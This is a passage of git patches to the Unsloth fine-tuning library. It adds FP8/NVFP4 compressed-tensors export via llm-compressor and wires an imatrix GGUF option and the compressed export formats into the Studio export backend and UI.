-            python_install = install_python_non_blocking(["protobuf"])
-            git_clone.wait()
-            makefile = install_llama_cpp_make_non_blocking()
-            python_install.wait()
-    else:
-        makefile = None
-
-    for _ in range(3):
-        gc.collect()
-
-    # Use the provided save_directory for local saving
-    save_lora_to_custom_dir(self, tokenizer, save_directory)
-
-    model_type = self.config.model_type
-    output_file = os.path.join(save_directory, "ggml-adapter-model.bin")
-
-    print(f"Unsloth: Converting auto-saved LoRA adapters at {save_directory} to GGML format.")
-    print(f"The output file will be {output_file}")
-
-    try:
-        with subprocess.Popen(
-            [
-                sys.executable,
-                "llama.cpp/convert-lora-to-ggml.py",
-                save_directory,
-                output_file,
-                "llama",
-            ],
-            stdout = subprocess.PIPE,
-            stderr = subprocess.PIPE,
-            bufsize = 1,
-            universal_newlines = True,
-            encoding = "utf-8",
-            errors = "replace",
-        ) as sp:
-            for line in sp.stdout:
-                print(line, end = "", flush = True)
-            for line in sp.stderr:
-                print(line, end = "", flush = True)
-            sp.wait()
-            if sp.returncode != 0:
-                raise subprocess.CalledProcessError(sp.returncode, sp.args)
-    except subprocess.CalledProcessError as e:
-        print(f"Error: Conversion failed with return code {e.returncode}")
-        return
-    print("Unsloth: Done.")
-    print(f"Unsloth: Conversion completed! Output file: {output_file}")
-    print(
-        "\nThis GGML making function was made by Maheswar. Ping him @Maheswar on the Unsloth Discord or on HuggingFace (@mahiatlinux) if you like this!"
-    )
+    return _unsloth_save_lora_gguf(self, tokenizer, save_directory, outtype = outtype)
 
 
 from .models.loader_utils import get_model_name
@@ -3215,7 +3720,7 @@ def unsloth_generic_save_pretrained_merged(
     self,
     save_directory: Union[str, os.PathLike],
     tokenizer = None,
-    save_method: str = "merged_16bit",  # ["lora", "merged_16bit", "merged_4bit"]
+    save_method: str = "merged_16bit",  # ["lora", "merged_16bit", "merged_4bit", "fp8", "mxfp4", "nvfp4", "mxfp8"]
     push_to_hub: bool = False,
     token: Optional[Union[str, bool]] = None,
     is_main_process: bool = True,
@@ -3229,6 +3734,9 @@ def unsloth_generic_save_pretrained_merged(
     temporary_location: str = "_unsloth_temporary_saved_buffers",
     maximum_memory_usage: float = 0.75,
     datasets: Optional[List[str]] = None,
+    calibration_dataset = None,
+    num_calibration_samples: int = 512,
+    max_seq_length: int = 2048,
 ):
     """
     Same as .push_to_hub(...) except 4bit weights are auto
@@ -3238,6 +3746,10 @@ def unsloth_generic_save_pretrained_merged(
     1. `16bit`: Merge LoRA into float16 weights. Useful for GGUF / llama.cpp.
     2.  `4bit`: Merge LoRA into int4 weights. Useful for DPO / HF inference.
     3.  `lora`: Save LoRA adapters with no merging. Useful for HF inference.
+    4.  FP8 / FP4 compressed export for vLLM via llm-compressor:
+        `fp8` (dynamic W8A8), `mxfp4`, `nvfp4` (W4A4), `mxfp8`. The LoRA is merged to 16bit at
+        `save_directory`, then a quantized checkpoint is written to `save_directory + "-<fmt>"`.
+        `nvfp4` needs calibration data (defaults to ultrachat; override with `calibration_dataset`).
     """
     if tokenizer is None:
         logger.warning_once(
@@ -3245,9 +3757,46 @@ def unsloth_generic_save_pretrained_merged(
             "You can do it separately via `tokenizer.save_pretrained(...)`"
         )
 
+    # FP8 / FP4 compressed-tensors export (llm-compressor) -> handled separately.
+    _compressed = _normalize_compressed_method(save_method)
+    if _compressed is not None:
+        scheme, needs_calibration, suffix = _compressed
+        _unsloth_save_compressed_tensors(
+            model = self,
+            save_directory = save_directory,
+            tokenizer = tokenizer,
+            scheme = scheme,
+            needs_calibration = needs_calibration,
+            suffix = suffix,
+            push_to_hub = push_to_hub,
+            token = token,
+            is_main_process = is_main_process,
+            calibration_dataset = calibration_dataset,
+            num_calibration_samples = num_calibration_samples,
+            max_seq_length = max_seq_length,
+            # Forward standard save kwargs to the 16bit merge.
+            state_dict = state_dict,
+            save_function = save_function,
+            max_shard_size = max_shard_size,
+            safe_serialization = safe_serialization,
+            variant = variant,
+            save_peft_format = save_peft_format,
+            tags = tags,
+            temporary_location = temporary_location,
+            maximum_memory_usage = maximum_memory_usage,
+            datasets = datasets,
+        )
+        for _ in range(3):
+            gc.collect()
+        return
+
     arguments = dict(locals())
     arguments["model"] = self
     del arguments["self"]
+    del arguments["_compressed"]
+    del arguments["calibration_dataset"]
+    del arguments["num_calibration_samples"]
+    del arguments["max_seq_length"]
     unsloth_generic_save(**arguments)
     for _ in range(3):
         gc.collect()
@@ -3271,6 +3820,9 @@ def unsloth_generic_push_to_hub_merged(
     temporary_location: str = "_unsloth_temporary_saved_buffers",
     maximum_memory_usage: float = 0.75,
     datasets: Optional[List[str]] = None,
+    calibration_dataset = None,
+    num_calibration_samples: int = 512,
+    max_seq_length: int = 2048,
 ):
     """
     Same as .push_to_hub(...) except 4bit weights are auto
@@ -3280,6 +3832,7 @@ def unsloth_generic_push_to_hub_merged(
     1. `16bit`: Merge LoRA into float16 weights. Useful for GGUF / llama.cpp.
     2.  `4bit`: Merge LoRA into int4 weights. Useful for DPO / HF inference.
     3.  `lora`: Save LoRA adapters with no merging. Useful for HF inference.
+    4.  FP8 / FP4 compressed export for vLLM: `fp8`, `mxfp4`, `nvfp4`, `mxfp8`.
     """
     if tokenizer is None:
         logger.warning_once(
@@ -3287,12 +3840,50 @@ def unsloth_generic_push_to_hub_merged(
             "You can do it separately via `tokenizer.push_to_hub(...)`"
         )
 
+    # FP8 / FP4 compressed-tensors export (llm-compressor) -> handled separately.
+    _compressed = _normalize_compressed_method(save_method)
+    if _compressed is not None:
+        scheme, needs_calibration, suffix = _compressed
+        _unsloth_save_compressed_tensors(
+            model = self,
+            save_directory = repo_id,
+            tokenizer = tokenizer,
+            scheme = scheme,
+            needs_calibration = needs_calibration,
+            suffix = suffix,
+            push_to_hub = True,
+            token = token,
+            private = private,
+            commit_message = commit_message,
+            commit_description = commit_description,
+            create_pr = create_pr,
+            revision = revision,
+            calibration_dataset = calibration_dataset,
+            num_calibration_samples = num_calibration_samples,
+            max_seq_length = max_seq_length,
+            # Forward standard save kwargs to the 16bit merge.
+            use_temp_dir = use_temp_dir,
+            max_shard_size = max_shard_size,
+            safe_serialization = safe_serialization,
+            tags = tags,
+            temporary_location = temporary_location,
+            maximum_memory_usage = maximum_memory_usage,
+            datasets = datasets,
+        )
+        for _ in range(3):
+            gc.collect()
+        return
+
     arguments = dict(locals())
     arguments["model"] = self
     arguments["save_directory"] = repo_id
     arguments["push_to_hub"] = True
     del arguments["self"]
     del arguments["repo_id"]
+    del arguments["_compressed"]
+    del arguments["calibration_dataset"]
+    del arguments["num_calibration_samples"]
+    del arguments["max_seq_length"]
     unsloth_generic_save(**arguments)
     for _ in range(3):
         gc.collect()
@@ -3437,6 +4028,333 @@ def _unsloth_save_torchao_with_given_config(
             pass
 
 
+def _scheme_is_available(scheme):
+    """True if `scheme` is a known preset in the installed compressed_tensors."""
+    try:
+        from compressed_tensors.quantization import quant_scheme as _qs
+
+        presets = getattr(_qs, "PRESET_SCHEMES", None)
+        if presets is None:
+            return True
+        return scheme in presets
+    except Exception:
+        # If we cannot introspect, let llm-compressor validate the scheme itself.
+        return True
+
+
+def _print_compressed_hw_note(scheme, out_dir):
+    if scheme in ("FP8_DYNAMIC", "MXFP8"):
+        hw = "NVIDIA GPUs with compute capability >= 8.9 (Ada / Hopper) or newer"
+    else:
+        hw = (
+            "NVIDIA Blackwell (SM100+) for full activation quantization "
+            "(older GPUs fall back to weight-only in vLLM)"
+        )
+    print(
+        f"Unsloth: Saved {scheme} compressed checkpoint to '{out_dir}'.\n"
+        f"Unsloth: Load it with vLLM for accelerated inference. Hardware for full speed: {hw}."
+    )
+
+
+def _unsloth_save_compressed_tensors(
+    model,
+    save_directory: Union[str, os.PathLike],
+    tokenizer,
+    scheme: str,
+    needs_calibration: bool,
+    suffix: str,
+    push_to_hub: bool = False,
+    token: Optional[Union[str, bool]] = None,
+    is_main_process: bool = True,
+    calibration_dataset = None,
+    num_calibration_samples: int = 512,
+    max_seq_length: int = 2048,
+    **merge_kwargs,
+):
+    """Export an FP8/FP4 compressed-tensors checkpoint via llm-compressor.
+
+    Mirrors the torchao PTQ path: LoRA is first merged into the base model at 16bit and
+    written to `save_directory` (which is kept). The merged checkpoint is then quantized with
+    llm-compressor's `QuantizationModifier(scheme)` in a separate process (so Unsloth's
+    transformers monkey-patches do not interfere), and written to the sibling directory
+    `save_directory + "-" + suffix`. The result is intended for vLLM inference.
+    """
+    import tempfile
+
+    if isinstance(tokenizer, (PreTrainedTokenizerBase, ProcessorMixin)):
+        tokenizer = patch_saving_functions(tokenizer)
+    # Resolve a token for the hub push and/or loading a gated calibration dataset in the subprocess.
+    if token is None:
+        token = get_token()
+
+    # Only the main process installs deps, merges, quantizes, and uploads (mirrors the non-PEFT
+    # save path); other ranks return at once so they neither race on dirs nor run pip installs.
+    if not is_main_process:
+        return None
+
+    # 1) Install llm-compressor and gate on scheme availability BEFORE merging, so an unsupported
+    #    scheme (e.g. mxfp8) fails fast instead of writing a full 16bit checkpoint first.
+    install_llm_compressor()
+    if not _scheme_is_available(scheme):
+        try:
+            import transformers as _tf
+            tf_ver = _tf.__version__
+        except Exception:
+            tf_ver = "unknown"
+        raise RuntimeError(
+            f"Unsloth: scheme '{scheme}' is not available in your installed "
+            f"compressed-tensors / llm-compressor.\n"
+            f"It requires a newer llm-compressor that needs transformers>=5.9 "
+            f"(you have transformers {tf_ver}).\n"
+            "Use save_method in {fp8, mxfp4, nvfp4}, or upgrade transformers + llm-compressor."
+        )
+
+    # 2) Pick the local working dir. For a hub push, save_directory is a repo id, so merge and
+    #    quantize inside an isolated temp dir instead of writing ./<repo_id> into the cwd.
+    repo_id, work_tmp, calib_tmp, model_dev = None, None, None, None
+    if push_to_hub:
+        repo_id = os.fspath(save_directory)
+        work_tmp = tempfile.mkdtemp(prefix = "unsloth-compressed-")
+        local_dir = os.path.join(work_tmp, os.path.basename(repo_id.rstrip("/")) or "model")
+    else:
+        # Drop trailing separators so the sibling "<dir>-<fmt>" output is not nested inside <dir>.
+        local_dir = os.fspath(save_directory)
+        local_dir = local_dir.rstrip("/\\") or local_dir
+
+    # Wrap the body so the isolated temp dirs are always cleaned up, even when the merge,
+    # quantization, validation, or hub upload raises.
+    api = None
+    try:
+        # Validate Hub access up front (a bad token / denied repo should fail before the expensive
+        # merge and quantization, matching the normal push path). create_repo is idempotent.
+        if push_to_hub:
+            from huggingface_hub import HfApi
+            api = HfApi(token = token)
+            api.create_repo(
+                repo_id = repo_id,
+                repo_type = "model",
+                private = merge_kwargs.get("private", None),
+                exist_ok = True,
+            )
+
+        # 3) Merge to 16bit at local_dir (kept for local saves) via unsloth_generic_save, so LoRA
+        #    adapters are merged and full-finetuned models written in 16bit consistently. Extra
+        #    save kwargs (state_dict, max_shard_size, ...) flow through merge_kwargs.
+        # The intermediate 16bit checkpoint is internal staging that the converter subprocess
+        # reloads with default weight filenames, so never write variant-named shards here; the
+        # user's variant (if any) is applied to the final compressed checkpoint in the subprocess.
+        variant = merge_kwargs.pop("variant", None)
+        print(f"Unsloth: Merging to 16bit before {scheme} quantization...")
+        merge_args = dict(merge_kwargs)
+        merge_args.update(
+            dict(
+                model = model,
+                tokenizer = tokenizer,
+                save_directory = local_dir,
+                save_method = "merged_16bit",
+                push_to_hub = False,
+                token = token,
+                is_main_process = is_main_process,
+            )
+        )
+        unsloth_generic_save(**merge_args)
+
+        # 4) Detect VLM + trust_remote_code from the in-memory model config. A vision/multimodal
+        #    model exposes a vision_config or an explicitly vision-named architecture; a bare
+        #    *ForConditionalGeneration also matches text seq2seq models (T5/BART/Whisper), so it
+        #    is not treated as a VLM on its own.
+        is_vlm = False
+        if hasattr(model, "config"):
+            archs = getattr(model.config, "architectures", None) or []
+            is_vlm = hasattr(model.config, "vision_config") or any(
+                x.endswith("ForVisionText2Text") for x in archs
+            )
+        if is_vlm:
+            logger.warning(
+                "Unsloth: FP8/FP4 compressed export for vision / multimodal models is "
+                "experimental; vision-tower layers may be affected."
+            )
+        trust_remote_code = (
+            bool(getattr(model.config, "auto_map", None)) if hasattr(model, "config") else False
+        )
+
+        # 5) Marshal the calibration dataset for the subprocess: None -> ultrachat default; a
+        #    str/PathLike is a local save_to_disk dir if it exists else a Hub id; Dataset -> temp.
+        calib_kind, calib_value = "none", ""
+        if needs_calibration and calibration_dataset is not None:
+            if isinstance(calibration_dataset, (str, os.PathLike)):
+                calib_value = os.fspath(calibration_dataset)
+                calib_kind = "disk" if os.path.isdir(calib_value) else "hfid"
+            elif hasattr(calibration_dataset, "save_to_disk"):
+                # Only persist the samples we need, so multi-GB training sets are not fully copied.
+                ds_to_save = calibration_dataset
+                # A DatasetDict's len() is the split count, not rows; pick one split first so the
+                # row subsample below applies and we do not save every split to the temp dir.
+                try:
+                    from datasets import DatasetDict
+                    if isinstance(ds_to_save, DatasetDict):
+                        ds_to_save = ds_to_save.get("train", None) or next(
+                            iter(ds_to_save.values())
+                        )
+                except Exception:
+                    pass
+                try:
+                    if (
+                        num_calibration_samples
+                        and hasattr(ds_to_save, "select")
+                        and len(ds_to_save) > num_calibration_samples
+                    ):
+                        ds_to_save = ds_to_save.shuffle(seed = 42).select(
+                            range(num_calibration_samples)
+                        )
+                except Exception:
+                    ds_to_save = calibration_dataset
+                calib_tmp = tempfile.mkdtemp(prefix = "unsloth-calib-")
+                shutil.rmtree(calib_tmp, ignore_errors = True)  # save_to_disk wants a fresh path
+                ds_to_save.save_to_disk(calib_tmp)
+                calib_kind, calib_value = "disk", calib_tmp
+            else:
+                raise TypeError(
+                    "Unsloth: calibration_dataset must be None, a Hugging Face dataset id, a "
+                    "local path saved with Dataset.save_to_disk(...), or a Dataset with "
+                    "save_to_disk()."
+                )
+        elif not needs_calibration and calibration_dataset is not None:
+            logger.warning_once(
+                f"Unsloth: scheme '{scheme}' is data-free; ignoring calibration_dataset."
+            )
+
+        # 6) Quantize in a separate process: importing Unsloth patches transformers attention,
+        #    which breaks the forward llm-compressor runs for calibration. Run the converter by
+        #    file path (not `-m`) so the subprocess stays unpatched, like GGUF -> llama.cpp.
+        out_dir = local_dir + "-" + suffix
+        runner = os.path.join(os.path.dirname(os.path.abspath(__file__)), "_compressed_quantize.py")
+        cmd = [
+            sys.executable,
+            runner,
+            "--model",
+            local_dir,
+            "--scheme",
+            scheme,
+            "--out",
+            out_dir,
+            "--calibration-dataset-kind",
+            calib_kind,
+            "--num-calibration-samples",
+            str(num_calibration_samples),
+            "--max-seq-length",
+            str(max_seq_length),
+        ]
+        if needs_calibration:
+            cmd.append("--needs-calibration")
+        if calib_value:
+            cmd += ["--calibration-dataset", calib_value]
+        if is_vlm:
+            cmd.append("--is-vlm")
+        if trust_remote_code:
+            cmd.append("--trust-remote-code")
+        if variant:
+            cmd += ["--variant", variant]
+
+        # Free the in-memory model's CUDA memory before the subprocess loads its own copy from
+        # disk, so a single GPU need not hold both at once. Best-effort and restored in finally;
+        # skipped for quantized or multi-device models where moving is unsafe.
+        try:
+            if (
+                torch.cuda.is_available()
+                and hasattr(model, "parameters")
+                and not getattr(model, "is_loaded_in_4bit", False)
+                and not getattr(model, "is_loaded_in_8bit", False)
+                and not getattr(model, "is_quantized", False)
+            ):
+                _devs = {str(p.device) for p in model.parameters()}
+                if len(_devs) == 1 and next(iter(_devs)).startswith("cuda"):
+                    _dev = next(model.parameters()).device
+                    model.to("cpu")
+                    model_dev = _dev  # set only after a successful move, so finally can restore
+        except Exception:
+            model_dev = None
+        for _ in range(3):
+            gc.collect()
+            if torch.cuda.is_available():
+                torch.cuda.empty_cache()
+
+        # Expose the token so the subprocess can load a gated/private calibration dataset.
+        env = os.environ.copy()
+        if isinstance(token, str) and token:
+            env["HF_TOKEN"] = token
+            env["HUGGING_FACE_HUB_TOKEN"] = token
+
+        print(
+            f"Unsloth: Quantizing the merged model to {scheme} with llm-compressor "
+            "(in a separate process)..."
+        )
+        try:
+            subprocess.check_call(cmd, env = env)
+        except subprocess.CalledProcessError as e:
+            raise RuntimeError(
+                f"Unsloth: {scheme} quantization failed (llm-compressor subprocess exit "
+                f"{e.returncode}). See the output above for details."
+            )
+
+        # 7) Validate the artifact.
+        cfg_path = os.path.join(out_dir, "config.json")
+        cfg = {}
+        if os.path.exists(cfg_path):
+            with open(cfg_path, "r", encoding = "utf-8") as f:
+                cfg = json.load(f)
+        if "quantization_config" not in cfg:
+            raise RuntimeError(
+                f"Unsloth: {scheme} export failed - no quantization_config written to {cfg_path}"
+            )
+
+        # 8) Optional hub upload of the compressed artifact (not the intermediate 16bit one).
+        #    The repo was already created/validated up front, so just upload here.
+        if push_to_hub:
+            print(f"Unsloth: Uploading {scheme} checkpoint to '{repo_id}' ...")
+            api.upload_folder(
+                folder_path = out_dir,
+                repo_id = repo_id,
+                repo_type = "model",
+                commit_message = merge_kwargs.get("commit_message", None),
+                commit_description = merge_kwargs.get("commit_description", None),
+                create_pr = merge_kwargs.get("create_pr", False),
+                revision = merge_kwargs.get("revision", None),
+            )
+            # Attach datasets metadata to the pushed repo, like the normal merged push path.
+            datasets = merge_kwargs.get("datasets", None)
+            if datasets:
+                try:
+                    from huggingface_hub import metadata_update
+                    metadata_update(repo_id, {"datasets": datasets}, overwrite = True, token = token)
+                except Exception as meta_err:
+                    logger.warning_once(
+                        f"Unsloth: could not update datasets metadata for {repo_id}: {meta_err}"
+                    )
+
+        # 9) Inference hardware note.
+        result = repo_id if push_to_hub else out_dir
+        _print_compressed_hw_note(scheme, result)
+        return result
+    finally:
+        if model_dev is not None:
+            try:
+                model.to(model_dev)  # restore the model to its original device
+            except Exception:
+                logger.warning_once(
+                    "Unsloth: could not restore the model to its original device after compressed "
+                    "export; it may remain on CPU."
+                )
+        if calib_tmp is not None and os.path.isdir(calib_tmp):
+            shutil.rmtree(calib_tmp, ignore_errors = True)
+        if work_tmp is not None:
+            shutil.rmtree(work_tmp, ignore_errors = True)
+        for _ in range(3):
+            gc.collect()
+            if torch.cuda.is_available():
+                torch.cuda.empty_cache()
+
+
 def unsloth_save_pretrained_torchao(
     self,
     save_directory: Union[str, os.PathLike],

From 43d3caf38b9bdead249084c676f37a9322496490 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Tue, 30 Jun 2026 03:41:02 -0700
Subject: [PATCH 156/306] Studio: imatrix GGUF option and FP8/NVFP4 compressed
 export in the export UI (#6729)

* Studio: wire imatrix GGUF option and FP8/NVFP4 compressed export into the export UI

GGUF export gains an importance-matrix toggle. When enabled it auto-downloads the
upstream Unsloth imatrix for the base model (or uses a custom path), which unlocks
the IQ low-bit quants iq2_xxs, iq2_m, iq3_xxs and iq4_xs. Merged export gains an
FP8 / NVFP4 compressed-tensors precision selector that runs llm-compressor for vLLM.

Backend threads imatrix_file through routes -> orchestrator -> worker -> export_gguf
(both the local save and the hub push), and maps the new compressed format_type
values onto the fp8/nvfp4 save_method, reporting the "<dir>-<suffix>" sibling output
directory. Frontend adds the imatrix Switch on the GGUF card and a merged precision
picker on the merged card, threaded through the export runtime store.

Depends on unslothai/unsloth#6706 (save.py imatrix_file and compressed-tensors
export) and unslothai/unsloth-zoo#839 (quantize_gguf imatrix flag).

* Studio export: guard imatrix/compressed against older unsloth builds and force imatrix for IQ quants

Addresses review feedback on the export wiring:
- GGUF: pass imatrix_file only when set, so a plain no-imatrix export (e.g. Q4_K_M) no
  longer fails with an unexpected-keyword error against an unsloth build that predates the
  imatrix_file parameter. When imatrix is requested but unsupported, return a clear
  upgrade message instead of a TypeError.
- Merged: gate FP8/NVFP4 compressed-tensors export on the installed unsloth actually
  supporting it, returning a clear message rather than a cryptic save_method failure.
- Frontend: IQ quants (iq2_xxs, iq2_m, iq3_xxs, iq4_xs) are imatrix-only, so force the
  imatrix on when one is selected and lock the toggle, instead of submitting an IQ quant
  with no imatrix that llama.cpp would reject.

Extends the backend tests for the new capability guards and the conditional kwarg wiring.

* Studio: upload compressed merged models to the Hub without recompressing

For an FP8/NVFP4 Hub export the model is already produced locally in the "<dir>-<suffix>"
output. Uploading it directly with HfApi.upload_folder (mirroring export_base_model) avoids
re-running the expensive compressed-tensors quantization a second time inside
push_to_hub_merged, which for NVFP4 also re-runs calibration and risks OOM. Falls back to
push_to_hub_merged when there is no local compressed output to reuse.
---
 studio/backend/core/export/export.py          | 103 ++++++++++++++--
 studio/backend/core/export/orchestrator.py    |   2 +
 studio/backend/core/export/worker.py          |   1 +
 studio/backend/models/export.py               |  19 ++-
 studio/backend/routes/export.py               |   3 +
 .../tests/test_export_imatrix_compressed.py   | 116 ++++++++++++++++++
 .../src/features/export/api/export-api.ts     |   2 +
 .../frontend/src/features/export/constants.ts |  37 ++++++
 .../src/features/export/export-page.tsx       |  70 ++++++++++-
 .../export/stores/export-runtime-store.ts     |   6 +
 10 files changed, 343 insertions(+), 16 deletions(-)
 create mode 100644 studio/backend/tests/test_export_imatrix_compressed.py

diff --git a/studio/backend/core/export/export.py b/studio/backend/core/export/export.py
index f243f5b65a..d0461dae95 100644
--- a/studio/backend/core/export/export.py
+++ b/studio/backend/core/export/export.py
@@ -38,6 +38,26 @@ logger = get_logger(__name__)
 _LLAMA_CPP_SCRIPTS_WARNING_EMITTED = False
 
 
+def _supports_kwarg(fn, name):
+    """True if `fn` accepts keyword `name` directly or via **kwargs."""
+    import inspect
+
+    try:
+        params = inspect.signature(fn).parameters
+    except (TypeError, ValueError):
+        return False
+    return name in params or any(p.kind == inspect.Parameter.VAR_KEYWORD for p in params.values())
+
+
+def _compressed_export_supported():
+    """True if the installed unsloth build can do FP8/NVFP4 compressed-tensors export."""
+    try:
+        import unsloth.save as _us
+        return hasattr(_us, "_normalize_compressed_method")
+    except Exception:
+        return False
+
+
 def _hf_offline(timeout = 3):
     """True if export should avoid the Hub: honors the HF offline env vars, else does one
     cheap TCP reachability probe so a network-down load uses local files / the HF cache
@@ -400,16 +420,33 @@ class ExportBackend:
             )
 
         output_path: Optional[str] = None
+        # compressed-tensors formats run save_pretrained_merged with an FP8/FP4 save_method and
+        # write to a sibling "<dir>-<suffix>" directory (for vLLM).
+        _COMPRESSED = {
+            "FP8 (compressed-tensors)": ("fp8", "fp8"),
+            "NVFP4 (compressed-tensors)": ("nvfp4", "nvfp4"),
+        }
+        is_compressed = format_type in _COMPRESSED
         try:
             if _IS_MLX:
+                if is_compressed:
+                    return False, "Compressed-tensors export is not supported on macOS/MLX.", None
                 mlx_save_method = "merged_4bit" if format_type == "4-bit (FP4)" else "merged_16bit"
+            elif is_compressed:
+                if not _compressed_export_supported():
+                    return (
+                        False,
+                        "Compressed-tensors (FP8/NVFP4) export requires an Unsloth build with "
+                        "compressed-tensors support. Upgrade unsloth, or choose 16-bit.",
+                        None,
+                    )
+                save_method = _COMPRESSED[format_type][0]
+            elif format_type == "4-bit (FP4)":
+                save_method = "merged_4bit_forced"
+            elif self._audio_type == "whisper":
+                save_method = None
             else:
-                if format_type == "4-bit (FP4)":
-                    save_method = "merged_4bit_forced"
-                elif self._audio_type == "whisper":
-                    save_method = None
-                else:
-                    save_method = "merged_16bit"
+                save_method = "merged_16bit"
 
             if save_directory:
                 save_directory = str(resolve_export_write_dir(save_directory))
@@ -427,9 +464,15 @@ class ExportBackend:
                         save_directory, self.current_tokenizer, save_method = save_method
                     )
 
-                self._write_export_metadata(save_directory)
-                logger.info(f"Model saved successfully to {save_directory}")
-                output_path = str(Path(save_directory).resolve())
+                # Compressed export writes to the "<dir>-<suffix>" sibling; report that as output.
+                final_dir = (
+                    f"{save_directory}-{_COMPRESSED[format_type][1]}"
+                    if is_compressed
+                    else save_directory
+                )
+                self._write_export_metadata(final_dir)
+                logger.info(f"Model saved successfully to {final_dir}")
+                output_path = str(Path(final_dir).resolve())
 
             if push_to_hub:
                 if not repo_id or not hf_token:
@@ -464,6 +507,32 @@ class ExportBackend:
                                 token = hf_token,
                                 private = private,
                             )
+                elif is_compressed and output_path and Path(output_path).is_dir():
+                    # The compressed model was already built locally in output_path; upload it
+                    # directly so we do not re-run the (expensive, OOM-prone) compression that
+                    # push_to_hub_merged(save_method=fp8/nvfp4) would otherwise do a second time.
+                    hf_api = HfApi(token = hf_token)
+                    repo_id = PushToHubMixin._create_repo(
+                        PushToHubMixin,
+                        repo_id = repo_id,
+                        private = private,
+                        token = hf_token,
+                    )
+                    content = MODEL_CARD.format(
+                        username = repo_id.split("/")[0],
+                        base_model = getattr(self.current_model.config, "_name_or_path", "unknown"),
+                        model_type = getattr(self.current_model.config, "model_type", "llm"),
+                        method = format_type,
+                        extra = "unsloth",
+                    )
+                    ModelCard(content).push_to_hub(
+                        repo_id, token = hf_token, commit_message = "Unsloth Model Card"
+                    )
+                    hf_api.upload_folder(
+                        folder_path = output_path,
+                        repo_id = repo_id,
+                        repo_type = "model",
+                    )
                 else:
                     hub_save_method = save_method if save_method is not None else "merged_16bit"
                     self.current_model.push_to_hub_merged(
@@ -621,6 +690,7 @@ class ExportBackend:
         push_to_hub: bool = False,
         repo_id: Optional[str] = None,
         hf_token: Optional[str] = None,
+        imatrix_file = None,
     ) -> Tuple[bool, str, Optional[str]]:
         """
         Export model in GGUF format.
@@ -638,6 +708,19 @@ class ExportBackend:
         if not self.current_model or not self.current_tokenizer:
             return False, "No model loaded. Please select a checkpoint first.", None
 
+        # Only forward imatrix_file to an unsloth build that accepts it; otherwise even a plain
+        # no-imatrix export would fail with an unexpected-keyword error against an older unsloth.
+        if imatrix_file is not None and not _supports_kwarg(
+            self.current_model.save_pretrained_gguf, "imatrix_file"
+        ):
+            return (
+                False,
+                "This Unsloth build does not support GGUF imatrix export. "
+                "Upgrade unsloth and unsloth_zoo, or disable the imatrix option.",
+                None,
+            )
+        imatrix_kw = {"imatrix_file": imatrix_file} if imatrix_file is not None else {}
+
         output_path: Optional[str] = None
         model_tmp_to_cleanup: Optional[str] = None
         try:
@@ -691,6 +774,7 @@ class ExportBackend:
                     _model_tmp,
                     self.current_tokenizer,
                     quantization_method = quant_method,
+                    **imatrix_kw,
                 )
 
                 # Relocate the .gguf that convert_to_gguf wrote to cwd (repo root).
@@ -757,6 +841,7 @@ class ExportBackend:
                     self.current_tokenizer,
                     quantization_method = quant_method,
                     token = hf_token,
+                    **imatrix_kw,
                 )
                 logger.info(f"GGUF model pushed successfully to {repo_id}")
 
diff --git a/studio/backend/core/export/orchestrator.py b/studio/backend/core/export/orchestrator.py
index 478624b48e..052a47dd80 100644
--- a/studio/backend/core/export/orchestrator.py
+++ b/studio/backend/core/export/orchestrator.py
@@ -499,6 +499,7 @@ class ExportOrchestrator:
         push_to_hub: bool = False,
         repo_id: Optional[str] = None,
         hf_token: Optional[str] = None,
+        imatrix_file = None,
     ) -> Tuple[bool, str, Optional[str]]:
         """Export model in GGUF format."""
         return self._run_export(
@@ -509,6 +510,7 @@ class ExportOrchestrator:
                 "push_to_hub": push_to_hub,
                 "repo_id": repo_id,
                 "hf_token": hf_token,
+                "imatrix_file": imatrix_file,
             },
         )
 
diff --git a/studio/backend/core/export/worker.py b/studio/backend/core/export/worker.py
index 71a603a857..d473dcb54f 100644
--- a/studio/backend/core/export/worker.py
+++ b/studio/backend/core/export/worker.py
@@ -414,6 +414,7 @@ def _handle_export(backend, cmd: dict, resp_queue: Any) -> None:
                 push_to_hub = cmd.get("push_to_hub", False),
                 repo_id = cmd.get("repo_id"),
                 hf_token = cmd.get("hf_token"),
+                imatrix_file = cmd.get("imatrix_file"),
             )
         elif export_type == "lora":
             success, message, output_path = backend.export_lora_adapter(
diff --git a/studio/backend/models/export.py b/studio/backend/models/export.py
index 1e8e3c4792..7e05373f11 100644
--- a/studio/backend/models/export.py
+++ b/studio/backend/models/export.py
@@ -158,9 +158,15 @@ class ExportCommonOptions(BaseModel):
 class ExportMergedModelRequest(ExportCommonOptions):
     """Request for exporting a merged PEFT model."""
 
-    format_type: Literal["16-bit (FP16)", "4-bit (FP4)"] = Field(
+    format_type: Literal[
         "16-bit (FP16)",
-        description = "Export precision / format for the merged model",
+        "4-bit (FP4)",
+        "FP8 (compressed-tensors)",
+        "NVFP4 (compressed-tensors)",
+    ] = Field(
+        "16-bit (FP16)",
+        description = "Export precision / format for the merged model. The compressed-tensors "
+        "options run llm-compressor for vLLM (FP8 is data-free; NVFP4 calibrates).",
     )
 
 
@@ -199,6 +205,15 @@ class ExportGGUFRequest(BaseModel):
         None,
         description = "Hugging Face token for GGUF upload",
     )
+    imatrix: bool = Field(
+        False,
+        description = "Use an importance matrix (auto-downloads the upstream unsloth GGUF "
+        "imatrix). Required for the IQ low-bit quants such as iq2_xxs / iq4_xs.",
+    )
+    imatrix_path: Optional[str] = Field(
+        None,
+        description = "Path to a custom imatrix file; overrides the auto-download when set.",
+    )
 
 
 class ExportLoRAAdapterRequest(ExportCommonOptions):
diff --git a/studio/backend/routes/export.py b/studio/backend/routes/export.py
index 78c1e59d2e..cf2cb2fa70 100644
--- a/studio/backend/routes/export.py
+++ b/studio/backend/routes/export.py
@@ -343,6 +343,8 @@ async def export_gguf(
     """
     try:
         backend = get_export_backend()
+        # A custom path wins; otherwise the imatrix toggle requests the upstream auto-download.
+        imatrix_file = request.imatrix_path or (True if request.imatrix else None)
         success, message, output_path = await asyncio.to_thread(
             backend.export_gguf,
             save_directory = request.save_directory,
@@ -350,6 +352,7 @@ async def export_gguf(
             push_to_hub = request.push_to_hub,
             repo_id = request.repo_id,
             hf_token = request.hf_token,
+            imatrix_file = imatrix_file,
         )
 
         if not success:
diff --git a/studio/backend/tests/test_export_imatrix_compressed.py b/studio/backend/tests/test_export_imatrix_compressed.py
new file mode 100644
index 0000000000..d914ff8651
--- /dev/null
+++ b/studio/backend/tests/test_export_imatrix_compressed.py
@@ -0,0 +1,116 @@
+# SPDX-License-Identifier: AGPL-3.0-only
